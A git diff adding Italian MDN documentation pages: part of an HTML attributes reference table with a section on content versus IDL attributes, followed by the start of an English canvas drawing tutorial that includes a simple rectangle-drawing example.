+      <td>{{ HTMLElement("applet") }}, {{ HTMLElement("caption") }}, {{ HTMLElement("col") }}, {{ HTMLElement("colgroup") }},  {{ HTMLElement("hr") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("img") }}, {{ HTMLElement("table") }}, {{ HTMLElement("tbody") }},  {{ HTMLElement("td") }},  {{ HTMLElement("tfoot") }} , {{ HTMLElement("th") }}, {{ HTMLElement("thead") }}, {{ HTMLElement("tr") }}</td>
+      <td>Specifica l'allineamento orizzontale dell'elemento.</td>
+    </tr>
+    <tr>
+      <td>alt</td>
+      <td>
+        <p>{{ HTMLElement("applet") }}, {{ HTMLElement("area") }}, {{ HTMLElement("img") }}, {{ HTMLElement("input") }}</p>
+      </td>
+      <td>Testo alternativo in caso un immagine non possa essere visualizzata.</td>
+    </tr>
+    <tr>
+      <td>async</td>
+      <td>{{ HTMLElement("script") }}</td>
+      <td>Indica che lo script deve essere eseguito in modalità asincrona.</td>
+    </tr>
+    <tr>
+      <td>autocomplete</td>
+      <td>{{ HTMLElement("form") }}, {{ HTMLElement("input") }}</td>
+      <td>Indica che i controlli in questo modulo possono, di defaut, avere il loro valore completato automaticamente dal browser.</td>
+    </tr>
+    <tr>
+      <td>autofocus</td>
+      <td>{{ HTMLElement("button") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}</td>
+      <td>L'elemento riceve il focus automaticamente dopo il caricamento della pagina.</td>
+    </tr>
+    <tr>
+      <td>autoplay</td>
+      <td>{{ HTMLElement("audio") }}, {{ HTMLElement("video") }}</td>
+      <td>L'audio o il video devo partire appena possibile.</td>
+    </tr>
+    <tr>
+      <td>bgcolor</td>
+      <td>{{ HTMLElement("body") }}, {{ HTMLElement("col") }}, {{ HTMLElement("colgroup") }}, {{ HTMLElement("marquee") }}, {{ HTMLElement("table") }}, {{ HTMLElement("tbody") }}, {{ HTMLElement("tfoot") }}, {{ HTMLElement("td") }}, {{ HTMLElement("th") }}, {{ HTMLElement("tr") }}</td>
+      <td>
+        <p>Colore di sottofondo dell'elemento.</p>
+        <p>Nota: Questo è un attibuto ereditato. Utilizzare la proprietà {{ Cssxref("background-color") }} in sostituzione.</p>
+      </td>
+    </tr>
+  </tbody>
+  <tbody>
+    <tr>
+      <td>border</td>
+      <td>{{ HTMLElement("img") }}, {{ HTMLElement("object") }}, {{ HTMLElement("table") }}</td>
+      <td>
+        <p>La larghezza del bordo.</p>
+        <p>Nota: Questo è un attributo ereditato. Utilizzare la proprietà  CSS {{ Cssxref("border") }} in sostituzione.</p>
+      </td>
+    </tr>
+    <tr>
+      <td>buffered</td>
+      <td>{{ HTMLElement("audio") }}, {{ HTMLElement("video") }}</td>
+      <td>Contiene l'intervallo di tempo del media già bufferizzato.</td>
+    </tr>
+    <tr>
+      <td>challenge</td>
+      <td>{{ HTMLElement("keygen") }}</td>
+      <td>Una stringa che viene presentata con la chiave pubblica.</td>
+    </tr>
+    <tr>
+      <td>charset</td>
+      <td>{{ HTMLElement("meta") }}, {{ HTMLElement("script") }}</td>
+      <td>Dichiara la codifica di caratteri della pagina o dello script.</td>
+    </tr>
+    <tr>
+      <td>checked</td>
+      <td>{{ HTMLElement("command") }}, {{ HTMLElement("input") }}</td>
+      <td>Indica che l'elemento deve essere conrollato al caricamento della pagina.</td>
+    </tr>
+    <tr>
+      <td>cite</td>
+      <td>{{ HTMLElement("blockquote") }}, {{ HTMLElement("del") }}, {{ HTMLElement("ins") }}, {{ HTMLElement("q") }}</td>
+      <td>Contiene un URI che punta alla sorgente di quanto citato o modificato.</td>
+    </tr>
+    <tr>
+      <td>class</td>
+      <td><a href="/en/HTML/Global_attributes" title="en/HTML/Global attributes">Attributo globale</a></td>
+      <td>Usato spesso con i CSS per modellare elementi con proprietà comuni.</td>
+    </tr>
+    <tr>
+      <td>code</td>
+      <td>{{ HTMLElement("applet") }}</td>
+      <td>Specifica l'URL del file class della applet che deve essere caricato ed eseguito.</td>
+    </tr>
+    <tr>
+      <td>codebase</td>
+      <td>{{ HTMLElement("applet") }}</td>
+      <td>Questo attibuto fornisce l'URL assoluto o relativo della directory dove il file .class dell'applet  referenziata dall'attributo code è memorizzato.</td>
+    </tr>
+    <tr>
+      <td>color</td>
+      <td>{{ HTMLElement("basefont") }}, {{ HTMLElement("font") }}, {{ HTMLElement("hr") }}</td>
+      <td>
+        <p>Questo attributo imposta il colore del testo utilizzando un nome colore o specificando il suo valore in formato esadecimale #RRGGBB.</p>
+        <p>Note: Questo è un attributo ereditato. Utilizzare la proprietà CSS {{ Cssxref("color") }} in sostituzione.</p>
+      </td>
+    </tr>
+    <tr>
+      <td>cols</td>
+      <td>{{ HTMLElement("textarea") }}</td>
+      <td>Definisce il numero delle colonne in un'area di testo.</td>
+    </tr>
+    <tr>
+      <td>colspan</td>
+      <td>{{ HTMLElement("td") }}, {{ HTMLElement("th") }}</td>
+      <td>L'attributo colspan definisce il numero delle colonne nelle quali una cella dovrebbe espandersi.</td>
+    </tr>
+    <tr>
+      <td>content</td>
+      <td>{{ HTMLElement("meta") }}</td>
+      <td>Un valore associato con <code>http-equiv</code> o <code>name</code> a seconda del contesto.</td>
+    </tr>
+    <tr>
+      <td>contenteditable</td>
+      <td><a href="/en/HTML/Global_attributes" title="en/HTML/Global attributes">Attributo globale</a></td>
+      <td>Indica che il contenuto dell'elemento è editabile.</td>
+    </tr>
+    <tr>
+      <td>contextmenu</td>
+      <td><a href="/en/HTML/Global_attributes" title="en/HTML/Global attributes">Attributo globale</a></td>
+      <td>Definisce l'ID di un elemento {{ HTMLElement("menu") }} che servirà come menù contestuale dell'elemento.</td>
+    </tr>
+    <tr>
+      <td>controls</td>
+      <td>{{ HTMLElement("audio") }}, {{ HTMLElement("video") }}</td>
+      <td>Indica che il browser deve visualizzare i controlli di playack per l'utente.</td>
+    </tr>
+    <tr>
+      <td>coords</td>
+      <td>{{ HTMLElement("area") }}</td>
+      <td>Una serie di valori che specificano le coordinate di un area selezionabile all'interno di una regione.</td>
+    </tr>
+    <tr>
+      <td>data</td>
+      <td>{{ HTMLElement("object") }}</td>
+      <td>Specifica l'URL della risorsa.</td>
+    </tr>
+    <tr>
+      <td>datetime</td>
+      <td>{{ HTMLElement("del") }}, {{ HTMLElement("ins") }}, {{ HTMLElement("time") }}</td>
+      <td>Indica data e ora associate con l'elemento.</td>
+    </tr>
+    <tr>
+      <td>default</td>
+      <td>{{ HTMLElement("track") }}</td>
+      <td>Indica che la traccia deve essere abilitata a meno che le preferenze dell'utente indichino diversamente.</td>
+    </tr>
+    <tr>
+      <td>defer</td>
+      <td>{{ HTMLElement("script") }}</td>
+      <td>Indicano che lo script deve essere eseguito dopo che la pagina è stata analizzata.</td>
+    </tr>
+    <tr>
+      <td>dir</td>
+      <td><a href="/en/HTML/Global_attributes" title="en/HTML/Global attributes">Attributo globale</a></td>
+      <td>Definisce la direzione del testo. I valori permessi sono ltr (Left-To-Right: da sinistra a destra) or rtl (Right-To-Left: da destra a sinistra)</td>
+    </tr>
+    <tr>
+      <td>dirname</td>
+      <td>{{ HTMLElement("input") }}, {{ HTMLElement("textarea") }}</td>
+      <td> </td>
+    </tr>
+    <tr>
+      <td>disabled</td>
+      <td>{{ HTMLElement("button") }}, {{ HTMLElement("command") }}, {{ HTMLElement("fieldset") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("optgroup") }}, {{ HTMLElement("option") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}</td>
+      <td>Indica che l'utente non può interagire con l'elemento.</td>
+    </tr>
+    <tr>
+      <td>download</td>
+      <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}</td>
+      <td>Indica che il collegamento ipertestuale è da utilizzare per scaricare una risorsa.</td>
+    </tr>
+    <tr>
+      <td>draggable</td>
+      <td><a href="/en/HTML/Global_attributes" title="en/HTML/Global attributes">Attributo globale</a></td>
+      <td>Definisce l'elemeno come trascinabile.</td>
+    </tr>
+    <tr>
+      <td>dropzone</td>
+      <td><a href="/en/HTML/Global_attributes" title="en/HTML/Global attributes">Attributo globale</a></td>
+      <td>Indica che l'elemento consente l'eliminazione dei contenuti da esso.</td>
+    </tr>
+    <tr>
+      <td>enctype</td>
+      <td>{{ HTMLElement("form") }}</td>
+      <td>Definisce il tipo di contenuto dei dati del form quando il <code>method</code> è POST.</td>
+    </tr>
+    <tr>
+      <td>for</td>
+      <td>{{ HTMLElement("label") }}, {{ HTMLElement("output") }}</td>
+      <td>Descrive elementi che appartengono a questo.</td>
+    </tr>
+    <tr>
+      <td>form</td>
+      <td>{{ HTMLElement("button") }}, {{ HTMLElement("fieldset") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("label") }}, {{ HTMLElement("meter") }}, {{ HTMLElement("object") }}, {{ HTMLElement("output") }}, {{ HTMLElement("progress") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}</td>
+      <td>Indicano il form al quale l'elemento si riferisce.</td>
+    </tr>
+    <tr>
+      <td>headers</td>
+      <td>{{ HTMLElement("td") }}, {{ HTMLElement("th") }}</td>
+      <td>L'ID che gli elementi <code>&lt;th&gt;</code> applicano a quest'ultimi.</td>
+    </tr>
+    <tr>
+      <td>height</td>
+      <td>{{ HTMLElement("canvas") }}, {{ HTMLElement("embed") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("img") }}, {{ HTMLElement("input") }}, {{ HTMLElement("object") }}, {{ HTMLElement("video") }}</td>
+      <td>Note: In qualche caso, come per {{ HTMLElement("div") }}, questo attributo è ereditato, e quindi deve essere usata la proprietà CSS {{ Cssxref("height") }} in sostituzione. In altri casi, come per {{ HTMLElement("canvas") }}, l'altezza deve essere specificata con questo attributo.</td>
+    </tr>
+  </tbody>
+  <tbody>
+    <tr>
+      <td>hidden</td>
+      <td><a href="/en/HTML/Global_attributes" title="en/HTML/Global attributes">Global attribute</a></td>
+      <td>Indica la rilevanza di un elemento.</td>
+    </tr>
+    <tr>
+      <td>high</td>
+      <td>{{ HTMLElement("meter") }}</td>
+      <td>Indica il limite inferiore del range superiore</td>
+    </tr>
+    <tr>
+      <td>href</td>
+      <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("base") }}, {{ HTMLElement("link") }}</td>
+      <td> L'URL di una risorsa collegata.</td>
+    </tr>
+    <tr>
+      <td>hreflang</td>
+      <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("link") }}</td>
+      <td>Specifica la lingua della risorsa collegata.</td>
+    </tr>
+    <tr>
+      <td>http-equiv</td>
+      <td>{{ HTMLElement("meta") }}</td>
+      <td> </td>
+    </tr>
+    <tr>
+      <td>icon</td>
+      <td>{{ HTMLElement("command") }}</td>
+      <td>Spefifica una figura che rappresenta il comando.</td>
+    </tr>
+    <tr>
+      <td>id</td>
+      <td><a href="/en/HTML/Global_attributes" title="en/HTML/Global attributes">Attributo globale</a></td>
+      <td>Spesso utilizzato con CSS per applicare uno stile ad uno specifico elemento. Il valore di questo attributo deve essere unico.</td>
+    </tr>
+    <tr>
+      <td>ismap</td>
+      <td>{{ HTMLElement("img") }}</td>
+      <td>Indica che l'immagine è una parte della mappa immagine lato server.</td>
+    </tr>
+    <tr>
+      <td>itemprop</td>
+      <td><a href="/en/HTML/Global_attributes" title="en/HTML/Global attributes">Attributo globale</a></td>
+      <td> </td>
+    </tr>
+    <tr>
+      <td>keytype</td>
+      <td>{{ HTMLElement("keygen") }}</td>
+      <td>Specifica il tipo della chiave da generata.</td>
+    </tr>
+    <tr>
+      <td>kind</td>
+      <td>{{ HTMLElement("track") }}</td>
+      <td>Specifica il tipo della traccia di testo.</td>
+    </tr>
+    <tr>
+      <td>label</td>
+      <td>{{ HTMLElement("track") }}</td>
+      <td>Specifica un titolo leggibile dall'utente della traccia di testo.</td>
+    </tr>
+    <tr>
+      <td>lang</td>
+      <td><a href="/en/HTML/Global_attributes" title="en/HTML/Global attributes">Attributo globale</a></td>
+      <td>Definisce la lingua usata nell'elemento.</td>
+    </tr>
+    <tr>
+      <td>language</td>
+      <td>{{ HTMLElement("script") }}</td>
+      <td>Definisce la lingua dello script usato nell'elemento.</td>
+    </tr>
+    <tr>
+      <td>list</td>
+      <td>{{ HTMLElement("input") }}</td>
+      <td>Identifica una lista di opzioni predefinite da suggerire all'utente.</td>
+    </tr>
+    <tr>
+      <td>loop</td>
+      <td>{{ HTMLElement("audio") }}, {{ HTMLElement("bgsound") }}, {{ HTMLElement("marquee") }}, {{ HTMLElement("video") }}</td>
+      <td>Indica che il media deve essere riprodotto dall'inizio quando terminato.</td>
+    </tr>
+    <tr>
+      <td>low</td>
+      <td>{{ HTMLElement("meter") }}</td>
+      <td>Indica il valore limite superiore del campo inferiore.</td>
+    </tr>
+    <tr>
+      <td>manifest</td>
+      <td>{{ HTMLElement("html") }}</td>
+      <td><span id="result_box" lang="it"><span class="hps">Specifica l'URL del</span> <span class="hps">manifesto</span> <span class="hps">della cache</span> <span class="hps">del documento</span><span>.</span></span></td>
+    </tr>
+    <tr>
+      <td>max</td>
+      <td>{{ HTMLElement("input") }}, {{ HTMLElement("meter") }}, {{ HTMLElement("progress") }}</td>
+      <td>Indica il valore massimo consentito.</td>
+    </tr>
+    <tr>
+      <td>maxlength</td>
+      <td>{{ HTMLElement("input") }}, {{ HTMLElement("textarea") }}</td>
+      <td>Definisce il numero massimo di caratteri consentiti nell'elemento.</td>
+    </tr>
+    <tr>
+      <td>media</td>
+      <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("link") }}, {{ HTMLElement("source") }}, {{ HTMLElement("style") }}</td>
+      <td>Specifica un suggerimento del media per il quale è stata disegnata la risorsa.</td>
+    </tr>
+    <tr>
+      <td>method</td>
+      <td>{{ HTMLElement("form") }}</td>
+      <td>Definisce il metodo HTTP da usare alla sottomissione del form. Può essere GET (default) o POST.</td>
+    </tr>
+    <tr>
+      <td>min</td>
+      <td>{{ HTMLElement("input") }}, {{ HTMLElement("meter") }}</td>
+      <td>Indica il valore minimo consentito.</td>
+    </tr>
+    <tr>
+      <td>multiple</td>
+      <td>{{ HTMLElement("input") }}, {{ HTMLElement("select") }}</td>
+      <td>Indica che possono essere inseriti valori multipi come input ad un tipo <code>email</code> o <code>file</code>.</td>
+    </tr>
+    <tr>
+      <td>name</td>
+      <td>{{ HTMLElement("button") }}, {{ HTMLElement("form") }}, {{ HTMLElement("fieldset") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("object") }}, {{ HTMLElement("output") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}, {{ HTMLElement("map") }}, {{ HTMLElement("meta") }}, {{ HTMLElement("param") }}</td>
+      <td>Nome dell'elemento. E' ad esempio utilizzato dal server per identificare i campi nel form suttomesso.</td>
+    </tr>
+    <tr>
+      <td>novalidate</td>
+      <td>{{ HTMLElement("form") }}</td>
+      <td>Questo attributo indica che il form non deve essere validato alla sottomissione.</td>
+    </tr>
+    <tr>
+      <td>open</td>
+      <td>{{ HTMLElement("details") }}</td>
+      <td><span id="result_box" lang="it"><span class="hps">Indica se</span> <span class="hps alt-edited">i dettagli</span> <span class="hps alt-edited">verranno visualizzati</span> <span class="hps alt-edited">al caricamento della pagina</span><span>.</span></span></td>
+    </tr>
+    <tr>
+      <td>optimum</td>
+      <td>{{ HTMLElement("meter") }}</td>
+      <td>Indica il valore numerico ottimale.</td>
+    </tr>
+    <tr>
+      <td>pattern</td>
+      <td>{{ HTMLElement("input") }}</td>
+      <td>Definisce un'espressione regolare con la quale validare il valore dell'elemento.</td>
+    </tr>
+    <tr>
+      <td>ping</td>
+      <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}</td>
+      <td> </td>
+    </tr>
+    <tr>
+      <td>placeholder</td>
+      <td>{{ HTMLElement("input") }}, {{ HTMLElement("textarea") }}</td>
+      <td>Fornisce un suggerimento all'utente circa cosa può essere inserito nel campo.</td>
+    </tr>
+    <tr>
+      <td>poster</td>
+      <td>{{ HTMLElement("video") }}</td>
+      <td><span id="result_box" lang="it"><span class="hps">Un URL</span> <span class="hps">che indica</span> <span class="hps">un fotogramma</span> <span class="hps alt-edited">da mostrare</span> <span class="hps alt-edited">finché l'utente</span> <span class="hps alt-edited">esegue o</span> <span class="hps">cerca.</span></span></td>
+    </tr>
+    <tr>
+      <td>preload</td>
+      <td>{{ HTMLElement("audio") }}, {{ HTMLElement("video") }}</td>
+      <td>Indica se l'intera risorsa, parte di essa o niente deve essere precaricata.</td>
+    </tr>
+    <tr>
+      <td>pubdate</td>
+      <td>{{ HTMLElement("time") }}</td>
+      <td>Indica che queste data e ora sono dati dell'elemento progenitore più vicino {{ HTMLElement("article") }}.</td>
+    </tr>
+    <tr>
+      <td>radiogroup</td>
+      <td>{{ HTMLElement("command") }}</td>
+      <td> </td>
+    </tr>
+    <tr>
+      <td>readonly</td>
+      <td>{{ HTMLElement("input") }}, {{ HTMLElement("textarea") }}</td>
+      <td>Indica se l'elemento è editabile.</td>
+    </tr>
+    <tr>
+      <td>rel</td>
+      <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("link") }}</td>
+      <td>Specifica la relazione dell'oggetto obbiettivo con l'oggetto di collegamento.</td>
+    </tr>
+    <tr>
+      <td>required</td>
+      <td>{{ HTMLElement("input") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}</td>
+      <td><span id="result_box" lang="it"><span class="hps">Indica se questo elemento</span> <span class="hps alt-edited">deve</span> <span class="hps alt-edited">essere compilato</span> <span class="hps">o meno.</span></span></td>
+    </tr>
+    <tr>
+      <td>reversed</td>
+      <td>{{ HTMLElement("ol") }}</td>
+      <td><span id="result_box" lang="it"><span class="hps">Indica se</span> <span class="hps">l'elenco</span> <span class="hps">deve essere visualizzato</span> <span class="hps">in ordine</span> <span class="hps">decrescente</span> <span class="hps">anzichè </span><span class="hps">ascendente</span><span>.</span></span></td>
+    </tr>
+    <tr>
+      <td>rows</td>
+      <td>{{ HTMLElement("textarea") }}</td>
+      <td>Definisce il numero di righe in area di testo.</td>
+    </tr>
+    <tr>
+      <td>rowspan</td>
+      <td>{{ HTMLElement("td") }}, {{ HTMLElement("th") }}</td>
+      <td>Definisce il numero di righe sopra le quali si estende la cella della tabella.</td>
+    </tr>
+    <tr>
+      <td>sandbox</td>
+      <td>{{ HTMLElement("iframe") }}</td>
+      <td> </td>
+    </tr>
+    <tr>
+      <td>spellcheck</td>
+      <td><a href="/en/HTML/Global_attributes" title="en/HTML/Global attributes">Attributo globale</a></td>
+      <td><span id="result_box" lang="it"><span class="hps">Indica se</span> <span class="hps">il controllo ortografico</span> <span class="hps alt-edited">è consentito</span> <span class="hps">per l'elemento</span><span>.</span></span></td>
+    </tr>
+    <tr>
+      <td>scope</td>
+      <td>{{ HTMLElement("th") }}</td>
+      <td> </td>
+    </tr>
+    <tr>
+      <td>scoped</td>
+      <td>{{ HTMLElement("style") }}</td>
+      <td> </td>
+    </tr>
+    <tr>
+      <td>seamless</td>
+      <td>{{ HTMLElement("iframe") }}</td>
+      <td> </td>
+    </tr>
+    <tr>
+      <td>selected</td>
+      <td>{{ HTMLElement("option") }}</td>
+      <td>Definisce un valore che sarà selezionato al caricamento della pagina.</td>
+    </tr>
+    <tr>
+      <td>shape</td>
+      <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}</td>
+      <td> </td>
+    </tr>
+    <tr>
+      <td>size</td>
+      <td>{{ HTMLElement("input") }}, {{ HTMLElement("select") }}</td>
+      <td>Definisce la larghezza dell'elemento (in pixel). Se l'attributo <code>type </code>dell'elemento è <code>text</code> o <code>password</code> rappresenta il numero di caratteri.</td>
+    </tr>
+    <tr>
+      <td>sizes</td>
+      <td>{{ HTMLElement("link") }}</td>
+      <td> </td>
+    </tr>
+    <tr>
+      <td>span</td>
+      <td>{{ HTMLElement("col") }}, {{ HTMLElement("colgroup") }}</td>
+      <td> </td>
+    </tr>
+    <tr>
+      <td>src</td>
+      <td>{{ HTMLElement("audio") }}, {{ HTMLElement("embed") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("img") }}, {{ HTMLElement("input") }}, {{ HTMLElement("script") }}, {{ HTMLElement("source") }}, {{ HTMLElement("track") }}, {{ HTMLElement("video") }}</td>
+      <td>L'URL del contenuto incorporabile.</td>
+    </tr>
+    <tr>
+      <td>srcdoc</td>
+      <td>{{ HTMLElement("iframe") }}</td>
+      <td> </td>
+    </tr>
+    <tr>
+      <td>srclang</td>
+      <td>{{ HTMLElement("track") }}</td>
+      <td> </td>
+    </tr>
+    <tr>
+      <td>start</td>
+      <td>{{ HTMLElement("ol") }}</td>
+      <td>Definisce il primo numero se diverso da 1.</td>
+    </tr>
+    <tr>
+      <td>step</td>
+      <td>{{ HTMLElement("input") }}</td>
+      <td> </td>
+    </tr>
+    <tr>
+      <td>style</td>
+      <td><a href="/en/HTML/Global_attributes" title="en/HTML/Global attributes">Attributo globale</a></td>
+      <td>Definisce gli stili CSS che sovrasteranno gli stili precedentemente impostati.</td>
+    </tr>
+    <tr>
+      <td>summary</td>
+      <td>{{ HTMLElement("table") }}</td>
+      <td> </td>
+    </tr>
+    <tr>
+      <td>tabindex</td>
+      <td><a href="/en/HTML/Global_attributes" title="en/HTML/Global attributes">Attributo globale</a></td>
+      <td>Sovrascrive l'ordinamento della tabella impostato di default dal browser e segue quello specificato al posto suo.</td>
+    </tr>
+    <tr>
+      <td>target</td>
+      <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("base") }}, {{ HTMLElement("form") }}</td>
+      <td> </td>
+    </tr>
+    <tr>
+      <td>title</td>
+      <td><a href="/en/HTML/Global_attributes" title="en/HTML/Global attributes">Attributo globale</a></td>
+      <td>Testo da visualizzare in un suggerimento quando si passa sopra all'elemento.</td>
+    </tr>
+    <tr>
+      <td>type</td>
+      <td>{{ HTMLElement("button") }}, {{ HTMLElement("input") }}, {{ HTMLElement("command") }}, {{ HTMLElement("embed") }}, {{ HTMLElement("object") }}, {{ HTMLElement("script") }}, {{ HTMLElement("source") }}, {{ HTMLElement("style") }}, {{ HTMLElement("menu") }}</td>
+      <td>Definisce il tipo dell'elemento.</td>
+    </tr>
+    <tr>
+      <td>usemap</td>
+      <td>{{ HTMLElement("img") }},  {{ HTMLElement("input") }}, {{ HTMLElement("object") }}</td>
+      <td> </td>
+    </tr>
+    <tr>
+      <td>value</td>
+      <td>{{ HTMLElement("button") }}, {{ HTMLElement("option") }}, {{ HTMLElement("input") }}, {{ HTMLElement("li") }}, {{ HTMLElement("meter") }}, {{ HTMLElement("progress") }}, {{ HTMLElement("param") }}</td>
+      <td>Definisce un valore di default che verrà visualizzato nell'elemento al caricamento della pagina.</td>
+    </tr>
+    <tr>
+      <td>width</td>
+      <td>{{ HTMLElement("canvas") }}, {{ HTMLElement("embed") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("img") }}, {{ HTMLElement("input") }}, {{ HTMLElement("object") }}, {{ HTMLElement("video") }}</td>
+      <td>Nota: In qualche caso, come per {{ HTMLElement("div") }}, questo è un attributo ereditato, quindi deve essere utilizzata la proprietà CSS {{ Cssxref("width") }} in sostituzione. In altri casi, come per {{ HTMLElement("canvas") }}, la larghezza deve essere specificata con questo attributo.</td>
+    </tr>
+    <tr>
+      <td>wrap</td>
+      <td>{{ HTMLElement("textarea") }}</td>
+      <td>Indica se il testo deve essere circondato.</td>
+    </tr>
+  </tbody>
+</table>
+<h2 id="Attributi_di_contenuto_contro_attributi_IDL">Attributi di contenuto contro attributi IDL</h2>
+<p>In HTML, molti attributi hanno due facce: l'<strong>attributo di contenuto</strong> e l'<strong>attributo IDL</strong>.</p>
+<p>L'attributo del contenuto è quello che viene impostato nel contenuto (il codice HTML) e può essere impostato o ricavato tramite {{domxref("element.setAttribute()")}} o {{domxref("element.getAttribute()")}}. L'attributo di contenuto è sempre una stringa, anche quando il valore aspettato dovrebbe essere un intero. Ad esempio, per impostare il <code>maxlength</code> di un elemento {{HTMLElement("input")}} a 42 usando l'attributo di contenuto, occorre chiamare <code>setAttribute("maxlength", "42")</code> su quell'elemento.</p>
+<p>L'attributo IDL è conosciuto anche come proprietà JavaScript. Questi attributi possono essere letti o impostati utilizzando proprietà JavaScript come <code class="moz-txt-verticalline">element.foo</code>. L'attributo IDL utilizzerà sempre (ma potrebbe trasformare) l'attributo di contenuto sottostante per ritornare un valore quando viene richiesto e salverà qualcosa nell'attributo di contenuto quando viene impostato. In altre parole, l'attributo IDL riflette, essenzialmente, l'attributo di contenuto.</p>
+<p>Il più delle volte, l'attributo IDL ritornerà i loro valori così come sono realmente utilizzati. Ad esempio, il <code>type</code> di default per gli elementi {{HTMLElement("input")}} è "text", se viene impostato come <code>input.type="foobar"</code>, l'elemento <code>&lt;input&gt;</code> sarà di tipo testo (nell'apparenza e nel comportamento) ma il valore dell'attributo di contenuto "type" sarà "foobar". Tuttavia, l'attributo IDL <code>type</code> ritornerà la stringa "text".</p>
+<p>Gli attributi IDL non sono sempre stringhe; ad esempio, <code>input.maxlength</code> è un numero (un long segnato). Quando viene utilizzato l'attributo IDL, viene letto o impostato il valore del tipo desiderato, quindi <code>input.maxlength</code> ritornerà sempre un numero e quando si imposta <code>input.maxlength</code> ,esso vuole un numero. Se viene passato un altro tipo, sarà automaticamente convertito in numero così come specificato dalle regole Javascript standard per la conversione di tipo.</p>
+<p>L'attributo IDL può <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/urls.html#reflecting-content-attributes-in-idl-attributes" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/urls.html#reflecting-content-attributes-in-idl-attributes">riflettere altri tipi</a> come long senza segno, URL, valori booleani, etc. Sfortunatamente, non ci sono regole chiare e il modo con il quale si comportano gli attributi IDL in congiunzione con il loro contenuto corrispondente dipenda dall'attributo stesso. Il più delle volte, seguirà <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/urls.html#reflecting-content-attributes-in-idl-attributes" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/urls.html#reflecting-content-attributes-in-idl-attributes">le norme stabilite nelle specifiche</a>, ma a volte no. Le specifiche HTML tentano di renderlo il più possibile facile per gli sviluppatori, ma per varie ragioni (soprattutto storiche), alcuni attributi  si comportano stranamente (<code>select.size</code>, ad esempio) e occorre leggere le specifiche per comprendere esattamente il loro comportamento.</p>
+<h2 id="Vedi_anche">Vedi anche</h2>
+<ul>
+  <li><a href="/en-US/docs/HTML/Element" title="/en-US/docs/HTML/Element">Elementi HTML</a></li>
+</ul>
+<p>{{ languages( { "fr": "fr/HTML/Attributs", "en": "en/HTML/Attributes", "ja": "ja/HTML/Attributes" } ) }}</p>
diff --git a/files/it/web/html/canvas/drawing_graphics_with_canvas/index.html b/files/it/web/html/canvas/drawing_graphics_with_canvas/index.html
new file mode 100644
index 0000000000..217e9191d7
--- /dev/null
+++ b/files/it/web/html/canvas/drawing_graphics_with_canvas/index.html
@@ -0,0 +1,161 @@
+---
+title: Drawing graphics with canvas
+slug: Web/HTML/Canvas/Drawing_graphics_with_canvas
+translation_of: Web/API/Canvas_API/Tutorial
+---
+<div class="note">
+ <p>Most of this content (but not the documentation on drawWindow) has been rolled into the more expansive <a href="/en-US/docs/HTML/Canvas/Tutorial" title="HTML/Canvas/tutorial">Canvas tutorial</a>, this page should probably be redirected there as it's now redundant but some information may still be relevant.</p>
+</div>
+<h2 id="Introduction" name="Introduction">Introduction</h2>
+<p>With <a href="/en-US/docs/Mozilla/Firefox/Releases/1.5" title="Firefox_1.5_for_developers">Firefox 1.5</a>, Firefox includes a new HTML element for programmable graphics. <code>&lt;canvas&gt;</code> is based on the <a href="http://www.whatwg.org/specs/web-apps/current-work/#the-canvas">WHATWG canvas specification</a>, which itself is based on Apple's <code>&lt;canvas&gt;</code> implemented in Safari. It can be used for rendering graphs, UI elements, and other custom graphics on the client.</p>
+<p><code>&lt;canvas&gt;</code> creates a fixed size drawing surface that exposes one or more <em>rendering contexts</em>. We'll focus on the 2D rendering context. For 3D graphics, you should use the <a href="/en-US/docs/WebGL" title="https://developer.mozilla.org/en/WebGL">WebGL rendering context</a>.</p>
+<h2 id="The_2D_Rendering_Context" name="The_2D_Rendering_Context">The 2D Rendering Context</h2>
+<h3 id="A_Simple_Example" name="A_Simple_Example">A Simple Example</h3>
+<p>To start off, here's a simple example that draws two intersecting rectangles, one of which has alpha transparency:</p>
+<pre class="brush: js">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  ctx.fillStyle = "rgb(200,0,0)";
+  ctx.fillRect (10, 10, 55, 50);
+
+  ctx.fillStyle = "rgba(0, 0, 200, 0.5)";
+  ctx.fillRect (30, 30, 55, 50);
+}
+</pre>
+<div class="hidden">
+ <pre class="brush: html">&lt;canvas id="canvas" width="120" height="120"&gt;&lt;/canvas&gt;</pre>
+ <pre class="brush: js">draw();</pre>
+</div>
+<p>{{EmbedLiveSample('A_Simple_Example','150','150','/@api/deki/files/602/=Canvas_ex1.png')}}</p>
+<p>The <code>draw</code> function gets the <code>canvas</code> element, then obtains the <code>2d</code> context. The <code>ctx</code> object can then be used to actually render to the canvas. The example simply fills two rectangles, by setting fillStyle to two different colors using CSS color specifications and calling <code>fillRect</code>. The second fillStyle uses <code>rgba()</code> to specify an alpha value along with the color.</p>
+<p>The <code>fillRect</code>, <code>strokeRect</code>, and <code>clearRect</code> calls render a filled, outlined, or clear rectangle. To render more complex shapes, paths are used.</p>
+<h3 id="Using_Paths" name="Using_Paths">Using Paths</h3>
